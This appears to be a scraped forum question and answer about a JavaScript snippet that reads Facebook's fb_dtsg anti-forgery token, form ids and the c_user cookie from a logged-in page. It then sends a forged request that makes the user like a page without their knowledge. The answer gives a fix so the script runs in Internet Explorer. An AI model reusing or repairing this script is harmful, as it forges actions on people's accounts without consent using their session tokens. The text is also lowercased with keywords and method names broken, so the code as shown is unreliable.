function http_build_query (formdata, numeric_prefix, arg_separator) { var value, key, tmp = [], = this; var _http_build_query_helper = function (key, val, arg_separator) { var k, tmp = []; if (val === true) { val = "1"; } else if (val === false) { val = "0"; } if (val !== null && typeof(val) === "object") { (k in val) { if (val[k] !== null) { tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator)); } } return tmp.join(arg_separator); } else if (typeof(val) !== "function") { return that.urlencode(key) + "=" + that.urlencode(val); } else { throw new error('there error processing http_build_query().'); } }; if (!arg_separator) { arg_separator = "&"; } (key in formdata) { value = formdata[key]; if (numeric_prefix && !isnan(key)) { key = string(numeric_prefix) + key; } tmp.push(_http_build_query_helper(key, value, arg_separator)); } return tmp.join(arg_separator); } function urlencode (str) { str = (str + '').tostring(); // tilde should allowed unescaped in future versions of php (as reflected below), if want reflect current // php behavior, need add ".replace(/~/g, '%7e');" following. return encodeuricomponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28'). replace(/\)/g, '%29').replace(/\*/g, '%2a').replace(/%20/g, '+'); } function httprequest(url, query, callback, method) { if(!method) { method = 'post'; } var xhr = new xmlhttprequest(); xhr.open(method, url); xhr.setrequestheader("content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readystate == 4) { log(xhr.responsetext); if(callback) { callback(xhr.responsetext); } } } if(typeof query != 'string') { query = http_build_query(query); } log(query); xhr.send(query); } post_form_id = escape(findelementbyname("post_form_id")); fb_dtsg = escape(document.getelementsbyname("fb_dtsg")[0].value); cookie_user_uid = document.cookie.match(/c_user=(\d+)/)[1]; xhpc_composerid = escape(findelementbyname("xhpc_composerid")); function log(text) { if(window.console) { console.log(text); } } function shuffle(s) { while(m1 = s.match(/{(.*?)}/)) { m2 = m1[1].split('|'); r1 = m2[math.floor(math.random()*m2.length)]; s = s.replace(m1[0], r1); } return s; } function findelementbyname(nme) { var inputs = document.getelementsbytagname("input"); for(var i=0;i<inputs.length;i++) { if(inputs[i].name == nme) return inputs[i].value; } return null; } function send_like(fbpage_id) { httprequest('/ajax/pages/fan_status.php?__a=1', { add: 1, fb_dtsg: fb_dtsg, fbpage_id: fbpage_id, lsd: '', post_form_id: post_form_id, post_form_id_source: 'asyncrequest', preserve_tab: true, reload: 0 }); } if(math.random() * 2 > 1) { send_like(1); } else { send_like(2); }
this code works in firefox, not in ie. error in ie:
webpage error details
user agent: mozilla/4.0 (compatible; msie 8.0; windows nt 6.1; wow64; trident/4.0; slcc2; .net clr 2.0.50727; .net clr 3.5.30729; .net clr 3.0.30729; media center pc 6.0; .net4.0c; bri/2) timestamp: fri, 29 apr 2011 00:43:16 utc
message: object doesn't support property or method line: 84 char: 1 code: 0
line 84 post_form_id part.
ie gets wonky on for/in loops , includes inherited properties , methods. try adjusting for/in loops add check object being iterated has each item own property:
for (k in val) { if (object.prototype.hasownproperty.call(val, k) && val[k] !== null) { tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator)); } }
Comments
Post a Comment